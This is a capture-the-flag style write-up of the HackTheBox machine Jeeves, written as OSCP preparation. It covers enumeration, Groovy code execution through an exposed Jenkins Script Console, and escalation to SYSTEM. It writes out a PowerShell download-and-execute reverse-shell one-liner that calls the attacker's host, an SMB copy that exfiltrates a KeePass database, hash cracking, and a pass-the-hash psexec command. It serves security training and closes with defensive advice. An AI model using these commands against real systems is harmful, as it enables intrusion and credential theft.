# OSCP Prep #14
HTB Write-Up Jeeves

# 1\. Target Overview

**Machine Name:** Jeeves  
**Platform:** HackTheBox  
**Operating System:** Windows  
**Target IP:** 10.129.11.223

**Objective:** Obtain initial access to the target system, escalate privileges to Administrator.

Jeeves was an instructive Windows box that tied together several practical ideas in a clean way. My biggest takeaway from this machine was learning how dangerous Groovy-based code execution can be when Jenkins is exposed.

### Tools Used

*   RustScan
    
*   Nmap
    
*   NetExec (`nxc`)
    
*   FFUF
    
*   Jenkins Script Console
    
*   Groovy
    
*   PowerShell
    
*   Netcat
    
*   KeePassXC
    
*   keepass2john
    
*   John the Ripper
    
*   Impacket (`psexec`)
    

* * *

# 2\. Enumeration

### **Port Scanning**

As usual, I started with a scan to identify the exposed services and get a feel for the attack surface before choosing where to focus.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9edfab1e-3962-4707-b60a-b13e90194848.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d5116acf-f5f6-4e63-ab70-936a23219a16.png align="center")

The scan showed four open ports:

*   **80/tcp** – HTTP (Microsoft IIS 10.0)
    
*   **135/tcp** – MSRPC
    
*   **445/tcp** – SMB
    
*   **50000/tcp** – HTTP (Jetty 9.4.z-SNAPSHOT)
    

Right away, a few things stood out. The presence of RPC and SMB told me I was dealing with a normal Windows host, so I already had my usual Windows enumeration process in mind. From past experience, I know Jetty is commonly associated with Java-based applications, so I was already thinking ahead that this might lead to technologies like Jenkins, Groovy, or something similar.

* * *

### **SMB Enumeration**

The first service I chose to inspect was SMB.

Since port 445 was exposed, I started by checking whether I could get anything useful through anonymous access. This is always worth testing early because sometimes you get lucky with readable shares, loose permissions, or quick information disclosure before ever touching the web application.

In this case, anonymous access was denied:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8bdc03ee-7f66-4833-b932-ac29292d0166.png align="center")

*   `STATUS_ACCESS_DENIED`
    

Share enumeration also failed, so there was no immediate foothold through SMB and nothing useful to pull from it at that stage.

* * *

### **Web Enumeration**

### **Port 80 (IIS)**

After SMB went nowhere, I moved on to the web application running on port 80. I like pairing manual inspection with directory fuzzing, so I opened the site in my browser while running ffuf in the background.

The page looked like some kind of Ask Jeeves-style search engine, which immediately made it worth interacting with because any search bar or input field is something I want to test directly. The first thing I did was type a simple test value into the search bar and submit it.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/53f94da1-1a9f-4fcc-926b-84172cff41fd.png align="center")

Instead of actually processing the request, the application immediately redirected me to an error page:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e0f37bd8-57c1-484d-a1a9-aa314cf22473.png align="center")

*   `error.html`
    

That behavior told me something important very quickly. It did not look like the server was actually taking my search term, handling it dynamically, and returning a real result. It looked more like the search feature was either broken, fake, or just redirecting all interaction to a static page.

I looked more closely at the URL and the way the page behaved. Since it appeared to be referencing a file on the server, I decided it was worth trying a few **LFI-style payloads** to see if I could abuse the file reference in some way. That turned out to be a dead end because user input seemed to be sanitized properly.

Meanwhile, ffuf did not return anything useful beyond what I had already seen. There were no additional endpoints, no hidden functionality, nothing useful in the page source, and no real behavior that suggested the application had meaningful server-side processing behind it.

At that point, I concluded that port 80 was effectively a dead end.

* * *

### **Additional Web Enumeration**

### **Port 50000 (Jetty)**

With SMB giving me nothing and port 80 looking like a decoy or broken feature, I shifted my attention to the service on port **50000**.

When I browsed to the port directly, I was met with a very plain **404 Not Found** page from Jetty.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a4f8cd66-171f-4975-bd4d-458ecc47a51c.png align="center")

There was nothing directly useful in the content itself, but that kind of response is often a good sign because it tells me the service is alive and reachable—I just do not yet know the correct path.

So I ran ffuf against port 50000 as well.

This time, the fuzzing paid off. I discovered:

*   `/askjeeves`
    

When I navigated to that endpoint, I found a **Jenkins** instance. The version was disclosed at the bottom of the page, which immediately made the service far more interesting.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e68b52a7-0b74-41ea-88cf-391acbb82dcb.png align="center")

I already knew Jenkins often exposes administrative functionality that can become extremely dangerous if access controls are weak or the version is old enough to be abused.

* * *

### **Potential Vulnerability Identification**

I knew from past experience, older or improperly exposed Jenkins instances are often vulnerable to **remote code execution through running Groovy code in the script console**. Since Jetty had already tipped me off that I was likely dealing with a Java-based stack, the Jenkins discovery fit perfectly with that earlier assumption.

At that point, my thinking was simple:

*   If the **Script Console** is accessible
    
*   And Groovy execution is allowed
    
*   Then I likely have direct code execution on the server
    

That was strong enough to move from enumeration into exploitation.

* * *

# 3\. Exploitation

### **Initial Access**

After identifying Jenkins, I navigated to the **Script Console** and tested whether I could run commands through Groovy.

To keep it simple, I started with a basic `whoami` command:

```groovy
println "whoami".execute().text
```

The result confirmed that code execution worked and that commands were running as:

*   **kohsuke**
    

That was the confirmation I needed. At that point, I had real **remote code execution**, not just a theory.

This was also the point where the main theme of the box became clear to me. More than anything else, Jeeves taught me how powerful Groovy RCE can be when Jenkins is exposed and unpatched. Once you have that level of access, initial compromise becomes very straightforward.

* * *

### **Shell Stabilization**

After confirming command execution, the next step was to convert that into a real shell.

My plan was to host a PowerShell reverse shell on my attacker machine and then use Groovy to execute a PowerShell command that would download and run it. The logic was simple enough, but the trickiest part was getting the quoting right. When you have Groovy calling PowerShell and PowerShell calling out over HTTP, nested quotation marks become the annoying part of the job.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1498f4b1-6dd3-4df5-ae6a-19acd2841cc3.png align="center")

I hosted my PowerShell reverse shell script on my local web server, started a Netcat listener, and then worked through the escaping until the payload executed correctly.

Once I got the command formatted properly, I received a shell back as:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/120afd09-d59e-4640-855e-1556d9e97aed.png align="center")

*   **kohsuke**
    

That gave me the foothold I needed to start local enumeration.

* * *

# 4\. Privilege Escalation

### **Current User Context**

The first thing I always want to confirm after getting a shell is exactly who I am and what kind of environment I landed in.

```powershell
whoami
```

*   kohsuke
    

* * *

### **User Enumeration**

Next, I enumerated the users on the box to understand whether I might need to pivot between accounts or whether this would likely be a straight vertical escalation path.

```powershell
net user
```

There were only two users of note:

*   **kohsuke**
    
*   **Administrator**
    

That simplified things a lot. With only one obvious lower-privileged user and one administrative account, this did not look like a machine where I would need to chain multiple account compromises together.

* * *

### **Autologon Credential Check**

One of the quick Windows checks I like to do early is the autologon registry check, since it sometimes gives you credentials for free if the machine is configured carelessly.

```powershell
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

There were no useful autologon credentials present.

* * *

### **Home Directory Review**

At that point, I shifted to one of the most reliable habits in Windows privilege escalation: thoroughly reviewing the current user’s home directory and looking for anything that does not belong, anything credential-related, or anything that might indicate how the user manages secrets.

```powershell
tree /F /A
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bb51c892-3bf6-4dd1-9628-c5938ff2b9b2.png align="center")

What immediately stood out was:

*   **CEH.kdbx**
    

That was a huge find.

A `.kdbx` file is a **KeePass database**, which means it potentially contains stored credentials, notes, hashes, or other sensitive data. When I see one of those during privesc, it immediately moves to the top of the list because it often leads directly to password reuse or administrative secrets.

* * *

### **File Transfer via SMB**

Now that I had identified the KeePass database, I needed to get it onto my attacker machine so I could work on it locally with the right tools.

```powershell
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion
```

Even though SMB had been useless earlier for enumeration, it was perfect here as a **file transfer mechanism**.

* * *

### **Credential Extraction**

On my attacker machine:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1e23f4e-603d-4f56-a57f-f79489b8dbe6.png align="center")

```bash
keepass2john CEH.kdbx > hash.txt
john hash.txt
```

Recovered password:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e8d8a5ee-0911-429d-85b5-d55cb2aa6df1.png align="center")

After opening the database, I found stored entries including an **NTLM hash**, which pointed directly to a clean escalation path.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5c4b87a2-4b02-4c57-bcfc-5858335d7e8a.png align="center")

* * *

### **Privilege Escalation Path**

Instead of cracking further, I used a **Pass-the-Hash** attack.

```bash
impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

* * *

The command returned a shell as:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e6367b3b-8330-44f3-a8db-e92fa402024a.png align="center")

```cmd
nt authority\system
```

Full compromise achieved.

* * *

# 5\. Lessons Learned

### **1\. Recognizing a Technology Stack Early Saves Time**

Seeing Jetty on port 50000 immediately narrowed my focus toward Java-based applications like Jenkins, which sped up the entire process.

### **2\. Dead Ends Need to Be Identified Quickly**

Port 80 looked promising at first, but once I confirmed it was just redirecting to a static error page, there was no reason to keep forcing it.

### **3\. Jenkins Script Console is Extremely Dangerous**

Groovy RCE through Jenkins is essentially direct command execution. If it's exposed, the box is already compromised.

### **4\. User Files Can Be the Entire PrivEsc Path**

The KeePass database was the key to privilege escalation. Careful file enumeration made the difference.

### **5\. SMB is a Practical Tool, Not Just an Attack Vector**

Even though SMB did not help initially, it became critical for file exfiltration later.

* * *

# 6\. Defensive Insight

### **1\. Jenkins Should Never Be Exposed Publicly**

The Script Console alone is enough to fully compromise a system if accessible.

### **2\. Keep Systems Patched**

Outdated Jenkins versions introduce unnecessary risk.

### **3\. Protect Credential Stores**

Sensitive files like KeePass databases should not be left in user directories.

### **4\. Limit NTLM Usage**

Pass-the-Hash attacks remain effective because NTLM is still widely enabled.

### **5\. Monitor File Transfer Channels**

Even non-exploitable services like SMB can be abused for data exfiltration.

* * *

# 7\. Useful Commands

### **Reconnaissance**

```bash
rustscan -a 10.129.11.223 -b 7000
nmap -sC -sV -p- 10.129.11.223
```

### **Enumeration**

```bash
nxc smb 10.129.11.223 -u '' -p '' --shares
ffuf -u http://10.129.11.223/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://10.129.11.223:50000/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

### **Groovy powershell Reverse Shell**

```groovy
println 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.123/shell.ps1\')"'.execute().text
```

### **Privilege Escalation**

```powershell
whoami
net user
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
tree /F /A
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion
```

```bash
keepass2john CEH.kdbx > hash.txt
john --show hash.txt
impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

* * *
